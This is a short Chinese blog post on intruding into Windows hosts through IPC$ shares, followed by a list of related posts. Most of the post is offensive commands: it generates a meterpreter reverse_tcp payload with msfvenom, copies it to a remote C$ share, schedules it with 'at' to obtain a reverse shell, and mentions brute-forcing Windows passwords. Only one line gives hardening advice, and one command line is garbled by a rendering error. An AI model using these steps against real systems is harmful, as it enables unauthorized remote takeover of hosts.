windows IPC$ 入侵

系统管理员 2021-09-28 03:52 294阅读 0赞

**IPC$简介**  
IPC$ (Internet Process Connection)国人叫他共享"命名管道"资源服务。  
其实看原始英文名称我们能更好的理解他的用途和作用。  
IPC$就是为“进程”间建立网络连接而存在的服务  
说的再明确点就是：IPC$是一个为“各类进程”建立网络通信连接而存在的服务

**ipc利用**  
1.windows server 2003 与 windows xp ipc连接无需密码即可建立连接  
2.暴力破解windows 密码，执行远程主机命令,获取主机权限

**部分用法**  
cmd> net use \* /del 删除所有ipcKaTeX parse error: Undefined control sequence: \\c at position 32: …ayload.exe \\\\ip\\̲c̲ 复制file到 指定ip c目录  
cmd> net time \\ip 查看 指定ip 的时间  
cmd> net share 查看 本地共享  
cmd> net use 查看已建立的共享

cmd> at \\ip x:x c:\\payload.exe 计划任务（远程主机）  
cmd> at \\ip /del id 删除指定id host plan

**ipc$ windows2003 入侵步骤**

RHOST : windows2003
    THOST ： windows  xp
    LHOST : kali
    
    
    kali> msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x  LPORT=4445	-f exe -o ss.exe
    开启msf监听并将 ss.exe 传到 THOST 中，
    
    THOST
    cmd>   net use \\RHOST\IPC$
    cmd>   copy ss.exe \\RHOST\c$
    cmd>	net time \\RHOST
    cmd>	at \\RHOST  x:x	c:\\ss.exe

等待命令执行，kali获得反弹shell

**加固方案：**  
cmd> net stop server

**reference material**:  
https://blog.csdn.net/bytxl/article/details/46790995  
http://soft.yesky.com/security/182/2495182.shtml

发表评论取消回复

表情：

评论列表（有 0 条评论，294人围观）

还没有评论，来说两句吧...

相关阅读

相关 IPC

------------------- **Inter-process communication，进程间通信，缩写 IPC** ------------------...

男娘i/ 2024年04月18日 09:23/ 0 赞/ 36 阅读

相关 IPC$入侵大全

0x01 ipc$的定义 IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的)，它是为了让进程间通信而开放的命名

本是古典何须时尚/ 2024年04月07日 11:03/ 0 赞/ 26 阅读

相关 dart windows 命名管道ipc通信 demo

Dart语言中可以使用`dart:io`库中的`RawSocket`类来实现Windows命名管道IPC通信。实现步骤如下： 1. 创建一个命名管道，使用`RawSoc

不念不忘少年蓝@/ 2024年03月25日 11:09/ 0 赞/ 46 阅读

相关 Windows主机入侵痕迹排查办法

目录 1、排查思路 1.1、初步筛选排查资产 1.2、确定排查资产 1.3、入侵痕迹排查 2、排查内容 2

Dear 丶/ 2023年10月06日 16:06/ 0 赞/ 20 阅读

相关 Windows入侵溯源分析

目录溯源分析的目的溯源分析的思路系统补丁检测恶意用户排查系统日志排查

本是古典何须时尚/ 2023年10月06日 15:24/ 0 赞/ 14 阅读

相关 Telnet入侵Windows2000

开启Telnet 打开控制面板，管理工具 ![1][] 计算机管理 ![2][] 连接刚刚探测到的主机 ![3][] 输入探测到的主机IP ![

男娘i/ 2022年05月28日 13:37/ 0 赞/ 167 阅读

相关 DameWare入侵

下载Dameware 去官网下载Dameware，并安装添加被控端ip ![1][] ![2][] 选择Mini连接方式 ![1][1 1] ![2

﹏ヽ暗。殇╰゛Y/ 2022年05月27日 10:18/ 0 赞/ 196 阅读

相关 Radmin入侵

Radmin (Remote Administrator)是一款屡获殊荣的远程控制软件，它将远程控制、外包服务组件、以及网络监控结合到一个系统里，提供目前为止最快速、强健而安全

分手后的思念是犯贱/ 2022年05月26日 20:14/ 0 赞/ 181 阅读

相关 Windows系统被入侵后处理方式介绍

使用前一定先创建快照备份，否则不要使用本文方法。 1、将ECS断开网络连接使用ECS安全组单独对该ECS进行隔离；出方向禁止所有协议。入方向只允许运

港控/mmm°/ 2022年04月24日 14:18/ 0 赞/ 190 阅读

相关 windows IPC$ 入侵

IPC$简介 IPC$ (Internet Process Connection)国人叫他共享"命名管道"资源服务。其实看原始英文名称我们能更好的理解他的用途和作用。

系统管理员/ 2021年09月28日 03:52/ 0 赞/ 295 阅读